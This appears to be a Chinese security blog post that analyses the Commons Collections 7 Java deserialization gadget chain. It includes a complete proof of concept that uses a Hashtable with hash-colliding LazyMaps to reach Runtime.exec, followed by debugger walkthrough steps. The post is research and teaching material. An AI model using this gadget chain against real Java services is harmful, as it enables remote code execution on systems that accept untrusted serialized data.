1. 程式人生 > >Java安全之Commons Collections7分析

Java安全之Commons Collections7分析

# Java安全之Commons Collections7分析 ## 0x00 前言 本文講解的該鏈是原生`ysoserial`中的最後一條CC鏈,但是實際上並不是的。在後來隨著後面各位大佬們挖掘利用鏈,CC8,9,10的鏈誕生,也被內建到`ysoserial`裡面。在該鏈中其實和CC6也是類似,但是CC7利用鏈中是使用`Hashtable`作為反序列化的入口點。 ## 0x01 POC分析 ```java package com.test; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; public class cc7 { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { // Reusing transformer chain and LazyMap gadgets from previous payloads final String[] execArgs = new String[]{"calc"}; final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1)}; Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ", 1); // Use the colliding Maps as keys in Hashtable Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1); hashtable.put(lazyMap2, 2); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers"); iTransformers.setAccessible(true); iTransformers.set(transformerChain,transformers); // Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // Needed to ensure hash collision after previous manipulations lazyMap2.remove("yy"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out")); objectOutputStream.writeObject(hashtable); objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out")); objectInputStream.readObject(); // return hashtable; } } ``` 這裡依舊是提取重要程式碼出來去做了一個簡化。 拋去和前面重複的部分,下面分為三段程式碼去進行分析。 ```java Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ", 1); Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1); hashtable.put(lazyMap2, 2); ``` 在這段程式碼中,例項化了兩個` HashMap`,並對兩個` HashMap`使用了`LazyMap`將`transformerChain`和` HashMap` 繫結到一起。然後分別新增到` Hashtable`中, 但是前面看到的都是使用一次,為什麼這裡需要重複2次重複的操作呢? 下面來分析一下。 ` Hashtable`的`reconstitutionPut`方法是被遍歷呼叫的, ![](https://img2020.cnblogs.com/blog/1993669/202011/1993669-20201101192817234-553807289.png) ![](https://img2020.cnblogs.com/blog/1993669/202011/1993669-20201101192825302-1553716646.png) 第一次呼叫的時候,並不會走入到`reconstitutionPut`方法for迴圈裡面,因為`tab[index]`的內容是空的,在下面會對`tab[index]`進行賦值。在第二次呼叫`reconstitutionPut`時,tab中才有內容,我們才有機會進入到這個for迴圈中,從而呼叫`equals`方法。這也是為什麼要呼叫兩次put的原因。 ```java Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers"); iTransformers.setAccessible(true); iTransformers.set(transformerChain,transformers); lazyMap2.remove("yy"); ``` 前面的三段程式碼其實就是為了防止在序列化的時候,本地進行命令執行,前面先定義好一個空的,後面再使用反射將他的`iTransformers`進行替換。 其實最主要的是後面的`lazyMap2.remove`這個步驟。至於為什麼需要在最後面移除該值,其實在`LazyMap`的get方法裡面就可以看到。 ![](https://img2020.cnblogs.com/blog/1993669/202011/1993669-20201101192835529-671711272.png) 如果不移除該方法就會走不進該判斷條件的程式碼塊中。而後面也會再呼叫一次put方法。 ## 0x02 POC除錯 依舊是在`readobjetc`的複寫點打一個斷點,這裡面用到的是`Hashtable`的`readobjetc`作為入口點。 ![](https://img2020.cnblogs.com/blog/1993669/202011/1993669-20201101192848402-339265.png) 在其中會呼叫到`reconstitutionPut`方法,跟進一下。 ![](https://img2020.cnblogs.com/blog/1993669/202011/1993669-20201101192907629-129115822.png) 前面說過,第一遍呼叫的時候,`tab[index]`是為空的,需要跟進到第二步的執行裡面去檢視。 ![](https://img2020.cnblogs.com/blog/1993669/202011/1993669-20201101192916320-1700587834.png) 在第二遍執行的時候就會進行到for迴圈裡面,並且呼叫到`key`的`equals`方法。跟進一下該方法。 ![](https://img2020.cnblogs.com/blog/1993669/202011/1993669-20201101192926864-2000118432.png) `AbstractMapDecorator`的`equals`方法會去呼叫`this.map`的`equals`。跟進一下。 ![](https://img2020.cnblogs.com/blog/1993669/202011/1993669-20201101192936213-2026138547.png) 下面程式碼還會繼續呼叫`m.get`方法,在這裡的m為`LazyMap`物件。 在最後就來到了`LazyMap.get`這一步,其實就比較清晰了。後面的和前面分析的幾條鏈都一樣。這裡就不做分析了。 ![](https://img2020.cnblogs.com/blog/1993669/202011/1993669-20201101192943972-270736621.png) ## 0x03 結尾 分析完了這一系列的CC鏈,後面就打算分析Fastjson、shiro、weblogic等反序列化漏洞,再後面就是開始寫反序列化工具